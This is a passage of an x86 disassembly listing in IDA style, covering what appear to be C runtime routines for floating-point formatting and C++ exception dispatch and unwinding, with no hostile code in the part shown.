loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1

loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi

loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h

loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB30C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB314, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB30C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB314, ecx
		setl	cl
		mov	byte_4DB318, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB314, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32

loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al

loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------

loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h

loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB310, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB310, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB310, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB310, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------

loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9

loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi

loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2

loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------

loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h

loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax

loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6

loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2

loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB31C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB320
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2

loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2

loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax

loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A

loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7

loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8

loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------

loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]

loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------

loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx

loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------

loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB324, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC

loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax

loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4

loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------

loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053

loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053

loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053

loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057

loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------

loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax

loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3

loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2

loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510

loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------

loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h

loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------

loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]

loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E

loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB31C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB320
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB31C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB320, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]

loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------

loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB31C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB320, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------

loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------

loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422462:				; CODE XREF: sub_4222C2+6Aj
